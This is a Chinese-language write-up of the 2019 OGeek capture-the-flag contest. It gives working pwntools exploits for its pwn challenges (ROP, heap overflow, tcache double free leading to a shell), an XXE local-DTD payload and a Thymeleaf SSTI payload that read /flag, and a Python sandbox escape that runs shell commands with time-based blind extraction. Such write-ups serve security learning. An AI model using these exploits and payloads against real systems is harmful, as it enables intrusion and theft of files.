2019 OGeek

  1. catch fun
  2. babyrop
  3. book manager
  4. Look Around
  5. Render
  6. 2019
  7. Hub
  8. 8v
  9. PyBox
  10. Babycry

catch fun

题目描述:oppo catch fun

​ 提示:oppo’s phone model,flag{} is required

百度: oppo catch fun

catch fun

根据提示得到flag

flag{Reno}

babyrop

题目描述:From the ground up.

这道题简单看看,strncmp函数可以绕过,v1即比较的长度可以控制,我们可以随意输入一个数字比如1,然后和随机数比较第一个数字,爆破绕过。接着存在栈溢出可能性的函数的溢出长度最大为0xff,且可以由上一个函数的输入来控制。剩下的就是简单的rop了。

exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
#-*- coding:UTF-8 -*-

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']


#p = process("./babyrop")
p = remote('47.112.137.238', 13337)
elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')

vuln_addr = 0x080487D0
p.send('1'+'\x00'*6 + '\xff' + '\n')
p.recvuntil('Correct\n')
#gdb.attach(p)
p.send('\x00'*0xe7 + p32(0xdeadbeaf) + p32(elf.plt['puts']) + p32(vuln_addr) + p32(elf.got['puts']) + p32(0xffffffff))

libcbase = u32(p.recv(4).ljust(4, '\x00')) - libc.symbols['puts']
#libcbase = u32(p.recv(4).ljust(4, '\x00')) - 0x60ca0
log.info('libcbase:%#x' %libcbase)
system_addr = libcbase + libc.symbols['system']
#system_addr = libcbase + 0x3bda0
bin_sh = libcbase + 0x15902b
p.send('\x00'*0xe7 + p32(0xdeadbeaf) + p32(system_addr) + p32(vuln_addr) + p32(bin_sh))


p.interactive()

babyrop

book manager

题目描述:Endless book writing.

简单逆一下,可以很容易找到addtext函数中出现堆溢出,当v7的值小于0x100时,可以往里面写入0x100个字节。于是构造一下堆结构,改写一个text_ptr指向已经释放在unsortedbin中chunk,然后showbook,泄露出libc,然后再利用溢出修改一个text_ptr指向free_hook,改写为system函数地址,然后free一个/bin/sh即可getshell。脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/python
#-*- coding:UTF-8 -*-

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

#p = process('./bookmanager')
p = remote('47.112.115.30', 13337)
libc = ELF('./libc-2.23.so')

def choose(choice):
p.recvuntil('Your choice:')
p.sendline(str(choice))

def AddChapter(chapterName):
choose(1)
p.recvuntil('Chapter name:')
p.send(chapterName)

def AddSection(chapterName, sectionName):
choose(2)
p.recvuntil('Which chapter do you want to add into:')
p.send(chapterName)
sectionAddr = int(p.recvuntil('\nSection name:', drop=True)[2:], 16)
p.send(sectionName)
return sectionAddr

def AddText(sectionName, size, text):
choose(3)
p.recvuntil('\nWhich section do you want to add into:')
p.send(sectionName)
p.recvuntil('\nHow many chapters you want to write:')
p.sendline(str(size))
p.recvuntil('\nText:')
p.send(text)

def DelChapter(chapterName):
choose(4)
p.recvuntil('\nChapter name:')
p.send(chapterName)

def DelSection(sectionName):
choose(5)
p.recvuntil('\nSection name:')
p.send(sectionName)

def DelText(sectionName):
choose(6)
p.recvuntil('\nSection name:')
p.send(sectionName)

def ShowBook():
choose(7)

def Update(flag, oldName, newName):
choose(8)
p.recvuntil('\nWhat to update?(Chapter/Section/Text):')
if flag == 1:
p.sendline('Chapter')
p.recvuntil('\nChapter name:')
p.send(oldName)
p.recvuntil('\nNew Chapter name:')
p.send(newName)
elif flag == 2:
p.sendline('Section')
p.recvuntil('\nSection name:')
p.send(oldName)
p.recvuntil('\nNew Section name:')
p.send(newName)
elif flag == 3:
p.sendline('Text')
p.recvuntil('\nSection name:')
p.send(oldName)
p.recvuntil('\nNew Text:')
p.send(newName)


p.recvuntil('Name of the book you want to create: ')
p.sendline('aaaa')
AddChapter('cha1')
AddSection('cha1', 'sec1')
AddText('sec1', 0x10, 'text1')
AddSection('cha1', 'sec2')
AddText('sec2', 0x100, 'text2')
AddSection('cha1', 'sec3')
sec4_addr = AddSection('cha1', 'sec4')
text4_addr = sec4_addr + 0x40
AddText('sec4', 0x90, 'text4')
AddSection('cha1', 'sec5')
AddText('sec5', 0x20, '/bin/sh\x00')

DelText('sec4')
Update(3, 'sec1', '\x00'*0x10 + p64(0x0) + p64(0x41) + 'sec2'.ljust(0x20, '\x00') + p64(text4_addr) + p64(0x20) + p64(0x0) + p64(0x111))

ShowBook()
p.recvuntil('Section:sec2')
p.recvuntil('\n Text:')
libcbase = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4b78
log.info('libcbase:%#x' %libcbase)
free_hook = libcbase + 0x3C67A8
system_addr = libcbase + libc.symbols['system']
Update(3, 'sec1', '\x00'*0x10 + p64(0x0) + p64(0x41) + 'sec2'.ljust(0x20, '\x00') + p64(free_hook) + p64(0x20) + p64(0x0) + p64(0x111))

Update(3, 'sec2', p64(system_addr))

DelText('sec5')

p.interactive()

book manager

Look Around

题目描述:builded from tomcat:8-jre8

进入靶机,f12一波,发现

1
<script src="./js/_.js"></script>

进入:http://47.107.253.140:18080/webserver/js/_.js

得到

1
2
3
4
5
var data = "<?xml version=\"1.0\" ?>\n<request>\n    <status>1</status>\n</request>";

setInterval(function(){
$.post("callback", data);
}, 10000);

猜测是XXE

于是进入接口callback

Look Around

要POST,所以抓包,

然后不久前学XXE时看到过这篇根据本地DTD来实现XXE的文章

https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation

于是想在这里试试。

但是本地有啥DTD文件呢?发现题目给了提示。于是根据题目描述,下载同名镜像,

给个docker,然后找其中的dtd文件,发现了一个文章中提到的文件

/usr/share/xml/fontconfig/fonts.dtd

于是用文章里的payload 一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>
<message></message>

得到flag

Look Around

flag{f1c6811d4dce2ae37613cee977febe305f4de8fe}

Render

题目描述:Write something you want to see.

进入靶机,f12,发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

var app = new Vue({
el: '#app',
data: {
content: '',
result: ''
},
methods: {
request: function(event) {
var vm = this
axios.post('/render', {
content: vm.content
})
.then(function (response) {
console.log(response)
vm.result = response.data.result
})
.catch(function (error) {
console.log(error)
vm.result = error
})
}
}
})

再根据题目Render,应该是个SSTI无疑

学习文章

但是表示自己太菜了,甚至没看出来这个网页的框架

于是先去做了别的题。

之后队友说,是springboot,他说进入http://47.107.244.251:18080/render回显的是

Render遂抓包,得到

Render

因为Spring Boot 官方推荐使用 “Thymeleaf”模板引擎

于是试试是否有Thymeleaf 渲染

Render

发现失败,把思路丢给队友,让他再去试试。

最后很尴尬,队友说,我符号用错了,该用大括号,(啊,低级错误,233333)

Render

回显成功,于是java读文件一把梭

payload

1
{"content":"[[${new java.io.BufferedReader(new java.io.FileReader(\"/flag\")).readLine()}]]"}

发包得到flag

image-20200430233603887

flag{nBz9mertYP@pyyZxx9@nn}

2019

题目描述:Hidden in the history

下载得到图片

放进Stegsolve.jar,调整通道发现端倪

2019

LSB隐写,

然后放进zsteg,导出得到字符串

1
(QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==

去掉括号base64得到:

1
Ao(mgH[]WO,r8US3GM2R2I%YB7st

然后看不出特征,于是先base全家桶试了一波,发现是base85

解得:flag{~h!%3W-9jKB6(fG}

Hub

题目描述:tip:题目环境为Ubuntu18.04,flag路径/home/flag

这个题可以利用堆上的相对偏移然后通过delete来double free,且2.27版本libc因为有tacahe机制,所以doublefree的利用变得非常简单,先填满7个chunk,再free一个到unsortedbin里面去,利用里面main_arean的地址改写后面2个字节,爆破一下可以得到free_hook中的chunk,通过改写free_hook为puts的plt表,然后通过delete函数找到对应可以泄露libc的地址的偏移,然后就可以打印出libc的地址,再改写free_hook为system函数地址,再通过libc上/bin/sh字符串的偏移,成功执行system(“/bin/sh”),getshell。脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python
#-*- coding:UTF-8 -*-

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

#p = process('./hub')
p = remote('47.112.139.218', 13132)
elf = ELF('./hub')

def choose(choice):
p.recvuntil('>>')
p.sendline(str(choice) + '\x00')

def add(size):
choose(1)
p.recvuntil('How long will you stay?\n')
p.sendline(str(size) + '\x00')

def delete(index):
choose(2)
p.recvuntil('Which hub don\'t you want?\n')
p.sendline(str(index) + '\x00')

def edit(content):
choose(3)
p.recvuntil('What do you want?\n')
p.send(content)

add(0xf0)
add(0xf0)
add(0xf0)

delete(-0x200)
delete(-0x200)
delete(-0x200)
delete(-0x200)
delete(-0x200)
delete(-0x200)
delete(-0x200)


delete(-0x200)
add(0xe0)
edit('\xe8\x68')
add(0xf0)
add(0xf0)
edit(p64(elf.plt['puts']))
delete(-0x1ee0)
libcbase = u64(p.recv(6).ljust(8, '\x00')) - 0x3eba83
log.info("libcbase:%#x" %libcbase)
system_addr = libcbase + 0x4f440
edit(p64(system_addr))
delete(-0x239a4e)
#gdb.attach(p)


p.interactive()

Hub

8v

题目描述:I run the js code and get flag

得到一份文档,全是字节码,遂开始一行一行“翻译”

参考文章

https://github.com/v8/v8/blob/master/src/interpreter/interpreter-generator.cc

https://github.com/v8/v8/blob/master/src/interpreter/bytecodes.h

https://zhuanlan.zhihu.com/p/28590489

https://github.com/danbev/learning-v8

看懂完指令并不是很难,核心就是一个简单的三项数异或加密,

然后存在两个类似于斐波那契数列的前后相关的数列,

数列a起始位是$a_1=88$

函数是:$a_n=(a_{n-1}*65+66)$%$256$

得到数列:$a = [88, 154, 92, 158, 96, 162, 100, 166, 104, 170, 108, 174, 112, 178, 116, 182, 120, 186, 124, 190, 128, 194, 132, 198, 136, 202, 140, 206, 144, 210,]$

数列b起始位是$b_1=148$

函数是:$b_n=(b_{n-1}*35-16)$%$256$

最后程序还有个将数列b逆序的操作

得到数列:$b=[236, 212, 204, 116, 172, 20, 140, 180, 108, 84, 76, 244, 44, 148, 12, 52, 236, 212, 204, 116, 172, 20, 140, 180, 108, 84, 76, 244, 44, 148]$

再加上

enc=b’\xd2”\xf1\x8d\xb7\xe0\xd0MF\x87T?\x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;’

最后三个数列逐位异或,得到

flag{V8_ByteCode_is_Very_Easy}

PyBox

题目描述:cut flag sleep repeat

连上沙箱

PyBox

看着像python,但是这个python为啥没有一点点功能?啥也不能干?也没有回显。

不过没有回显倒可以利用sql的时间盲注的方法,但是有啥功能能利用呢?

于是去学习沙箱逃逸一波

https://bestwing.me/awesome-python-sandbox-in-ciscn.html

PyBox

发现了这个,

1
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')

PyBoxV

没有报错,

但是这里没有回显呃,于是,时间盲注结合closure,

再根据这篇文章https://blog.csdn.net/caoshunxin01/article/details/79355566

利用cut - c 逐位爆破

payload:

1
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('flag_p=`cut -c 1 /home/flag`; [ $flag_p = \"f\" ] && sleep 2'

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
import time

sh=remote("47.112.108.17",12312)
sh.recvuntil(">>>")


ans = "__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -c 1 /home/flag`; [ $a = \"f\" ] && sleep 1'"
t = time.time()
sh.sendline(ans)
sh.recvuntil(">>>")
if time.time()-t > 0.5 :
print("get!")
break

得到回显

PyBox

利用成功。再加两个循环,就好了。

得到结果

PyBox

不知道是不是后来改flag了,之前跑脚本得到的是

flag{Pyt5on_S4ndB0x+4pParmOr_S4ndb0x}

写wp复现的时候得到的是

flag{Pyt5on_S4ndB0x+4pParmOr_S4ndb0x_sorry}

hhhh?

Babycry

nc 过去得到加密规则

Babycry

写wp的时候环境关了,这里就直接口述了。

既然加密规则是des(key,sth..flag{*}padding)

加上hint

所以我们控制输入,可以使得被加密的字符末尾为

1
}_______(7_

首先我们先输入

des a

des aa

des aaa

直到拼接后的字符串长度为8的倍数,

印象里应该是两个a的时候,就好了。

然后我们当输入三个a的时候,字符串应该就是aaaflag{*}再加上七个_,那么末尾就应该是一个}加七个_组成的,

密文末尾的8个字节,就是这一个}加七个_字符所组成的八个字符的密文

我们可以输入

1
}_______(7_

看返回的密文的前8个字节加一验证。

于是思路就是,控制padding,逐位爆破,

输入aaaa,返回密文的后8字节就是明文

1
?}______(6_#?代表flag最后一位字符

的密文

然后我们在爆破这一位,直到返回密文的前八个字节与输入aaaa返回的密文的最后8字节相同位置,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level ="debug"

sh=remote("139.9.222.76",19999)
sh.recvuntil(">")

for i in range(33,126):
ans = "des "+chr(i)+"}______"
sh.sendline(ans)
p = sh.recvuntil(">")
if "54f6d4254fe2a8d4" in p :
print("get!")
print(ans)
break

得到结果

Babycry

然后以此类推,逐位爆破。

后面还有点区别就是,爆破完8位,用来验证的密文不能再从末尾找了,得找之前找的8个字节密文的前8个字节密文。

比赛的时候就是用这个半自动化脚本手撸的,

原本想在写wp的时候写个全自动化的,奈何环境关了,没法测试。遂放弃。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 643713081@qq.com

文章标题:2019 OGeek

文章字数:2.8k

本文作者:Van1sh

发布时间:2019-08-27, 11:02:35

最后更新:2020-05-24, 18:33:08

原始链接:http://jayxv.github.io/2019/08/27/2019OGeek/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏